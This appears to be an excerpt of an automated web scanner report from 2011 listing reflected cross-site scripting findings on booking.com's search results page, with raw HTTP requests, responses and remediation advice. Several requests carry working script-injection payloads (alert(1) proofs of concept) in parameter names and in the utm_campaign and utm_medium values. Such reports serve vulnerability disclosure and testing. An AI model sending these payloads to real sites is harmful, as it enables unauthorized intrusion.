uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response (redirected)
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:24:33 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDWgwOhJxwg7m3%2FTm%2Bpe85r18OTZ9lRoP8elUE0dmw8%2FadgG6c5SxD4aid1EHwSrafIW%2F%2B8zB3GAbDM2cHpJBfB%2BQWMskbjBCWuRuPQGSO3M9EnC3%2B%2F%2BIN3D8gRqTExPl002pYezY6pREisU7bEYN6ARwTakjbUeuXvOPUq79oSdYdUUc%2BJehsGqrvi%2B2X1f8S3cxGcUbWDagZH3JaA2gAbWBmGQo5RdUPZQ0PNg8q%2Bj0tolqe2zY0o130sRQ%2BgaqEYeqKyqz%2BmBrgR%2BERXMD0WbCbL44Ql%2FFAG0AZ3CCOogrnc64c0FVcMYAqevuH%2BGPP9HBNY%2Bwevrws%2BskbVBt4ZSLT7OJC7JsxbDRO3mQfnLKK2uU%2BsczsPJLx%2BZo1QEu6RZcfzC1CdfCEA109fIT9SSx5WP%2Fv79l1M4bTu6yPAFWFtVTkYxEos6RCfCd1YYvBtskch9dRo%2FZK1Q8LlP1KOJh6phIzwhuR31wBBTe3VlVllcYPyrcrTGDXrAeYhoXoucbNqHFibuAcuLlFy3WUkS8zuqnifgo0OOisJReiPE13DcLeSasidl4v%2FRDhmHICDUBi3DFc4Gu5MtyIxMwNaBkWqd%2BAVZ0YCxm6jtlmfLnT7UrbjaMqKPnFJeMGtDmXVPunAfNb4eUvjC1%2BNPsl1AG6qPsNuZ7Ku83YfG5aEu5qnTLnZCroYbaYeQ%2FbwbfXW0auZOoAM%2FHdKCHEfxgxCcYQYFedpQhzFpV8kNKHSPUXYtX4ARa0rNKrKSnMWkL%2Fl9Dalqe8A%2BhUBl9D4sEixGjmIYYmuqXipBEUm9%2F4xNO9jxtRwSbaaEXOKOMi4Z9udoU2cDUK8P3MrVU7wqSKNBRhANT069HQo4iQtLo5De8bozlUisHqg2MA4m7BNJ0mOmtz7id87cKAXcOIYJZJg%2BTG1BV%2F9GxovquslmsDKtygwe4kNkBQegUOnxpNn8clEYIYEWoqqD%2BEWUVKbXfP7CP1KXkm97URqaFViFHN2Q%2BFNEQMZ0XsRqHz5sjNcvePb7WhXl72uBamNjFz3YW4ILWz2r18%2BOm22boeXD42hs%2FhqXOJroc0cqG%2FPgzLMe%2BLbU6hOfBlo%2BSpE4boef%2FIDpcWu%2BBA%2FCZmnJgu%2FaxJcFG606bu%2BYcXBiLJTrcMIigZwuB3EAwY5%2B6uyx177WgkzViVbKxvuKii9O8jHl%2F8BsWZa4oBuzYs7TSNnwu4anmf6cXVUyy5%2BHZJ8vSaNo8bfyCKnRMijlKOIFkkXneSidfTNaWcckGeleCxQSZ%2FyIMRKRO%2FbAdIRb67UYcXaSZryIbWfM%2BFtYd5PrU03VEUmZNZKKHodg3YYitUMh8QTo5bCgUP6F0nozml4XkQkygjqo5ZuAKKeHwXMAnY3qIJ8IP0lWnQFbd0JqkNRXY8Et5fnW%2BZMVn50h4DZVqRelk%2B0xjopl17bATunSMO6qLC%2B4oLC7nAuxrXJA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:24:33 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391712 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.227. http://www.booking.com/searchresults.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.booking.com
Path:
/searchresults.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b52e"><script>alert(1)</script>8dbb8f60cc8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=us&utm_term=ufi-P20061717&3b52e"><script>alert(1)</script>8dbb8f60cc8=1 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:24:21 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR6rjIsVt6f1jlSbwDWC0F5qg3fYIcn7xfVbwiCUl6bN%2Fm%2BbW6DM1iG9T9l75VgRlOysflS0PEchLGxSispJgP2km00tzbM%2FnIVzjuo%2B0%2BPa0EJvmEbracpGzLsPNXIOJRG%2FnOr5E6cYIuN%2FI468B1aBIrgFjh1wMbzrGtbVJFAVgv3MlVNvwkXluh91iXhxy2xDHMX6wAy3OnBjtl4Ah%2B0CswDLmYVqq02eNsDeoy23%2B5y7PkAAxBUQVJ2ngOXH%2BQXQfz2E%2BFFAlNRzkKYVKjNKW7gKOZaKjaePZ9fYcvP7i5nimNWdKWUVW0wHlvFRdTE%2Bvj4fFwn0Olx%2FLscop2vWHV5HnzDRsxAxeqPFWU%2FCmWTnBSon1bOxSMzr%2FRSIr6LnmZdmU%2FyM3GPwzkXsfYu%2BlVXhcCmMOby48ZMlG1Aw0nop%2FGlAJtMXbj9UsamMrrkGHm%2BIyhxcZBUkTYBRvoljFbvpV7YmWVeiDi0vRtlqefzxycCgH9gtnl653x1p%2Fp4cBqhE7vtdsJzvVfUYvYb92C4y4Me%2F9LvhlhGm1XnpN80n2LgmCG1fU1r1oLXDt0XPB3LfXaUYiTe1e7%2F0Fq7Eu5AWi1VLOOxeevH%2F74y1NPEy%2B0CcDAHiuJDITmgvJhdefc%2BIPc0G5wS%2B6ayhNXtmaxstyo6YRU3xNHXx%2B0%2B6O%2BMw0nyifAl7BVcJC7HlxDEUodRuCIXOCDrVwM98VWF9CwdhO5psAIV6RH9gvreeC3Adry6BkAfnTTf6lqsLntLO%2BJXCJqGdAMRlIw474fpGFV7C%2BcP1OKB4wIO%2FRqmGaGxSc1p9EnaN%2Ff0D5FSB7AThfnHM8XxK%2Bp1RAW9ldqa05YjorHkRWB6AhADQ0F4uXa%2BELTcyY6lvrTzUKln7%2BGprH6TYK8rMaMv2i5%2BA57Uf%2FIgAsT8naDmG7rPuFPeeWe%2B%2BwigQnVgTvXOJsLmUfwhyWxJrYBF6U5ASVWcDx8J0ogQklkaeVelLx37yshdIzYT0Mz7wWXApJM8n2l6xWIwePH%2FtZbsqX7oi5U0rjNfgg%2F8C6ehwUrDSgWf8PdeFNrAKegJCFeUyxH11tH120eIrfyFXyT%2B2qU8OJqxDPhI9iezUSKzvuXp3e9%2F5pIbWz24KOEX1weARv1H0crDYKo9qW%2FtsYlaXXggn3QDYvyvpHiYP51cr4DIgtCEuhAcUf%2FnnX1MIURYBo3KBXh2IZ1gWOLXh7YgKT3VTi6Fau%2FxukKvQxconvRuxtQaw4DITNrcSjbcVk9SzVt7ZTNWLH1i%2FFVrgZNDt8umkvDgGLVAyzq%2BPX0L0VZo%2Bg8%2FT4qC3A0oI8PasROAAdMF%2F%2Bi3%2B2QxF1IRvE7J%2FXFQfIlJdUZWHWr0LRV5SpqYpQv117OA3HTZJgZpRCCVuuaEd%2BgYhC6fbGETSM73Od5i1iCGtyC2Gq3GzPwwi8kw%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:24:21 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391772 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_campaign request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc213'-alert(1)-'d336623f81e was submitted in the utm_campaign parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=usbc213'-alert(1)-'d336623f81e&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:57 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YdN864bAdMj5susnz%2B%2FDu3gSLqTPdzNwjL1I31V18mXsyk%2B69o4hArL0OKvHY7Kvxwj%2FcgZmigWctGJ1I8DxF0klYwekrb3FoC7l6bC4F%2FwZdZsa5kL5Nmh1XfHCNJ5oo%2FXtK9R7YiCsOSh%2BjqEdDL6TMqC5TeCrXWE6v%2BrSM8rD3gdUVAEpLtgc3gen6DZBzHBoPAoLjnC4WBKp6OBP7Q3tiiqYk9NDtsGWxemU47Z%2BMoxA8POHqotE71C5A4vF48j24O%2FCZlcrPZEbc87ZpzAz0QKGCwgQKgpKHO1k9Aj2lYuw2O1TdoIxkB%2Bo4eWFfmvwvMPjrKl06Iy2ZcPitxBzMDzgZ1%2F8IcYlc%2B%2FkZfWatmGVFlDCKuHTiqfaNUtGx2m2xYUCzy7wrvTz6JkE7HR6W3ZBRm2ZpfI5rJF28c5wcjjejf%2Fv3Jv9OpNobBE%2BbviS3yOnLz5MH%2FOkk24CHnh9JuZK1NBR%2BX8wP4MNI0Ov7OxqbjBnZRCpDReLBXz1Km2ZJpYnlHi8MnngZS0P%2FILX3fr3Ye66Oqe%2BNmRWlFaZw7%2BCYmd0YHWaX5d6NBSdkanZ1A7bIf1dB5Cn72aU1lL6BlqjL0gmYTEqeVwP8R3UKPU9j5Zu4pDJzEc8BtyHRb1s8mahDBNPVU5aPn3MDKvq%2FzQVmDFIBt3G7PZoFREA6013wbEBTKOODkPU7tYLoCnQz7tKg0VLErVZR7rgUWSv83%2BNCbzMAjWOv1McpFlGqs10hRuY2oqOL4hg%2B%2FkFkUZWxeAXcDyO7niEAhh5cDk%2B7FtJiruZk7UjlIIOkmi7AtdSYPtiVfmWy2XyRaEePDaNYvLdgYAMKWDqcw%2F4Cq8CKkx6Nq%2Bcyj03kgRWK%2BLRJ6qVWF4DG0UP8zx6uka2E3%2ByBBMTfLnNzdJrjWT7nd8mgsORG5rcYhwQS31vxq30nM1DZ8gpEanOzcFFE7b9W6p40WLfwDQxU4%2F%2FJ3biLhupzFVKBd6BSguynGz2KqSK7GWxbzqNNREF%2B0NCsdiUO4D2vm9HIR8HivsRIk9xfWdAe0XCEYwA1AEmDwyhIOW9tIbDcBmmXDIzquoHdyzYVhdrM7rRurpn%2B3NsvEaDq2Gor%2FL%2Bff%2BZPJLY%2BPpYU9vglbi%2BnuGkD%2F1r080ujwTUBnjl2KozFRR0hFeROgz9isiSrAPndMU2NRoDtp76u0Og8DWfGylv1YhVp2QB%2BnhrdEtchfJMtCXbdLZRJ470FxtyCTQNtUMh2RRrhlahpIGtIFZYU8FEHcKA12q6bK6f6PKT4x12g1LcD5unUaC92tuIYarrp6o%2BMCzkadCmzF%2BxchVjKX%2Bg37X46gRVzRNUIBznsyd78J2pRNcjWN0fgNpMnIu4QWxtDzKbyswZaQvIm6d%2BOpHj%2FAH7XS1Gmp6u0bw%2Fy7TJDVSlcMeherAaIhyNqqguHm6JNsKHIbXGD%2FB%2FtQWqidx5W2pN72zdnhw5sA%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:58 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391700 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb8cc"><script>alert(1)</script>57787d45fe3 was submitted in the utm_campaign parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC&utm_campaign=useb8cc"><script>alert(1)</script>57787d45fe3&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:45 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR5vMROsGtdOqni7xd6cAoVKhb9Ewrb6Lle4B6NIh%2BeUKE%2FggOQrYAARfRfTk%2FntY6BuH3F23N88F0MYpNE8DZESnvUMJzvMPYTJJbCGaTCXvK7PgYDOCCkYbMqNK0aFTOvRdjyPlnbUt3yBl%2FKeELAGkfwuNs7wtO5FrbpZdC%2BGuh5pJ%2FXnHhl0s8smu70gfITKTEqQnLkdNP2swIQiLwsn5HW7AgBBPW8meEkgiIgqYtkKjPKWOumbneCFfhRBRM3Zan%2FbDJiNWwjaBHZ7Vojg2ki1eQcLuVnpuYnsleDaQ0%2BtAMyfw7uFhZFFvaT24D4vKfiXoWtng2CubCJkQG2T5lUJblD7UeJq0soh%2BmDVsBpX1JOzeQFoeMa9r2mRnPm9g5XkV%2F96eblnu4CogCLXEDNtTwIPA73sjBYzRwnyWIyxWgTvtisuVxRUHssC%2F81zGOR59ECx6tZ7Wu2yaLjE7r1FQDcu4qyuEUVM7SQpwEnTbF7EMOBabe4X0XoyIs8%2FWg6D5WeHtTcYQF6VrJosKum3C%2FhVbd9sF16fnM%2FfDA5kEXwVlkiEk3UPrVzp6geugHCpksA8oRAalaWVEBWmEifvZ3DuBqCHJWNKW8tncuUnpbhe8GGZtQlC0nO0LAZKCStnSJ9fD%2FQoMqPZfQGHUvnE9aEur3yX%2BZr%2F62z%2Bw6lyy6AyDpxA8XA%2BWPkbFWjcmy5HpPkrKF%2BJxwyv0WoPmHhTXoPBXwDq%2BzG3gxZX7nA%2FeILCZORwYeHt7T%2F%2F4DPUKSB96zivdChbc9Lad2hcal2mu6hlKBcXiFFUGqSsYRpmiG%2FsGTnS%2BFS4FqmZtu2fFh%2BEFuUKypicKdWNZPQcp%2F%2BPtyQh5otLuimAnQcKO6zKsyN18aC%2Fq5sifX8dglWmSI%2B3WXEOa6Uf1exetE2hrPjqT0QwLMnF%2Bnro8G5b1oQrdBHYz4ct2%2B1Tsz8Ioqj75rDT%2BA59dp24qxQ9JIxvW9RkGAJOXo8mbg2s2bXGsmy23ujsoZYwkkU6ArufHV0Dda7pr%2FNXWYOSgKkMt0EFTjHJiwHPM9k5cToEaT4Q9CxaDc3H3ErqDEi7XIxKQ%2FNAzcq7mZGRO4K3pfjJnJdgDnNcSzhCDaaZcIn%2BVIjggqyzrjOdR3oJtZv9zISJIeKxkOfGPMKaohuyUn1dU%2FrSxG1ingSm5XWFugDbEb7OLDcXYVwhxKIKBCfI2xBdx6H5eLVKxu9xBuZQDpA7Cs%2FlMo%2FQPGz6op%2F4gkKarg1JqbsBUPlA%2F%2BUIEDuYRF1rdLHukwKJi9jx32xOHl0PzUaXLtQ9dfnzjtqOEoi%2BtFyZTCmKV%2BypmV22aE17phqZ74dYrnGpLeuoSdcE2d4wODafuhFLr4C5ZiPAqkevvxXjnz2%2FZeqpsZeNU9zsqdwn07LxMu2KMATmsYb0rL3tu%2FCo3AUWf%2BEWU8A%3D%3D; path=/; domain=.booking.com; expires=Fri, 20-Dec-2019 00:23:46 GMT; HTTPOnly X-Recruiting: Like HTTP headers? Come write ours: booking.com/jobs Vary: Accept-Encoding Cache-Control: private Content-Length: 391937 Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the utm_medium request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 32e1c'-alert(1)-'2f7b3175511 was submitted in the utm_medium parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /searchresults.html?aid=335591&city=20061717&do_availability_check=1&checkin_monthday=04&checkin_year_month=2011-10&checkout_monthday=07&checkout_year_month=2011-10&label=ufi-P20061717&utm_source=igougo&utm_medium=SPPC32e1c'-alert(1)-'2f7b3175511&utm_campaign=us&utm_term=ufi-P20061717 HTTP/1.1 Host: www.booking.com Proxy-Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://drf-global.com/servicegateway/globaltrips-shopping-svcs/drfadserver-1.0/pub/rf?lob=HOTEL&advertiserName=booking&grp=15730&placeholderUrl=http%3A%2F%2Fwww.travelocity.com%2Fvstrack%3FWA1%3D03020%26WA3%3D742%26WA5%3DDRFContinue%26WA6%3Dair%26dst%3Durl_placeholder&url=http%3A%2F%2Fwww.booking.com%2Fsearchresults.html%3Faid%3D335591%26city%3DP20061717%26do_availability_check%3D1%26checkin_monthday%3D%24%7BdepartureDate%3Ad%3A%22dd%22%7D%26checkin_year_month%3D%24%7BdepartureDate%3Ad%3A%22yyyy-mm%22%7D%26checkout_monthday%3D%24%7BreturnDate%3Ad%3A%22dd%22%7D%26checkout_year_month%3D%24%7BreturnDate%3Ad%3A%22yyyy-mm%22%7D%26label%3Dufi-P20061717%26utm_source%3Digougo%26utm_medium%3DSPPC%26utm_campaign%3Dus%26utm_term%3Dufi-P20061717&pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&sid=bfa7dd53-c988-458c-86df-52443affccb8&uid=20d9c1fc-61a4-45f0-9524-380e68994c01&widget=H_PopUnder&pti=default&src=none&ppi=4a15630f-e16d-42c4-95d2-0852b73fdd75&ctx=92aa9504-b6eb-4091-8b93-6582f63d9555&ccn=1&cgn=144&pos=6&aii=ba439bff-beb7-42f1-8f31-89d40d85f167&%24cc=US&%24rc=US&%24adults=1&%24destination=Boston%2C%20MA%20Massachusetts&%24glsId=440663&%24city=Boston&%24countryn=United%20States&%24countryc=US&%24staten=Massachusetts&%24statec=MA&%24lob=HOTEL&%24rooms=1&%24context=92aa9504-b6eb-4091-8b93-6582f63d9555&%24widget=H_PopUnder&%24l=9&%24departureDate=2011-10-04&%24returnDate=2011-10-07&%24aucnt=0&%24pid=c3919e40-e5b8-49f8-b876-4fed1f31968f&%24sid=bfa7dd53-c988-458c-86df-52443affccb8&adunit=d5332d31-d5c8-59f8-c876-4fee1f31712a& Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 03 Oct 2011 00:23:40 GMT Server: Apache Set-Cookie: bkng=10UmFuZG9tSVYkc2RlIyh9YXwiHh2%2F7WNDPZ3nY%2BK7rx45hTbiDc3NR5vMROsGtdOqni7xd6cAoVKhb9Ewrb6Lle4B6NIh%2BeUKFpHaVQ7I%2Bv2i0aU%2BoaHw1r6PzmyXv7KVvGiCgLVPhQ6xPTakka1dxZQ6DCxQDenu2rKiqZKZqtvOkBYMROrZcYscHarlS0s7caQOq7nq3HKgynVWmhc%2BlY9pf305Cjlkerg4Jj4TrEqt5zC5NpPTYEVlGB5UYVzGTjsTFsmoa7rApNujeJYw4vDthwNtsu59UJvV3LjvWDEZewz6nel%2FZG7MFWiCdIGDAqj%2FQBsJcNs3TgR0Le%2FZGj3AM5pahsQ3D%2FFFqALqSexi2UskddoQI988xx9RagbWgNdS5914aH%2BxwZIVj9Yzrl2u2UahUdOMNE67j0Wpg9USYE7BCx7x5gw5jRq3gkyGDsHs7X5azsE6gd4YxBgrcvmk6%2FwQ4myyDPMdDBRookjmYUSevnUnEGrE2aRLJqPWUC5Y01RreLHG8HcAiM%2Frep%2BhvtHxIF1BO1wi10seHEIB4bku1IYb9BvGWLMpEE%2BoQoYfTDQqssblitzzammcyZB7ROio8UMprtvtuFzqAF%2FAPIeuXdOjr79OojBGEDzmIRvOqAr%2FzHqjHqwH8vybt8jm%2BwghUUXTyYb%2BkcSrMcftFJTKdV6wMBm6e1DdZXRZoLtm%2F6RaIpTpUL7mqF5SZaYa9iLTDtkdE0INDYPnz4l%2F3doDwLsb6htopKghBmiUNuMgnVRkK1bIGQATiYxOf3YEk6E6hTmrzINROFan7tNgw%2BgpKScZ%2FOBucZ%2FC5yPObCPdfvgfGkTPt11Jval%2FBWy8sHblLazlePrycG7KtE7LG5qYZ5I9Act%2FNJfFQ3zu7WFjb61FerlqV3%2FFpUKixv26VQQ%2FfPxquPe7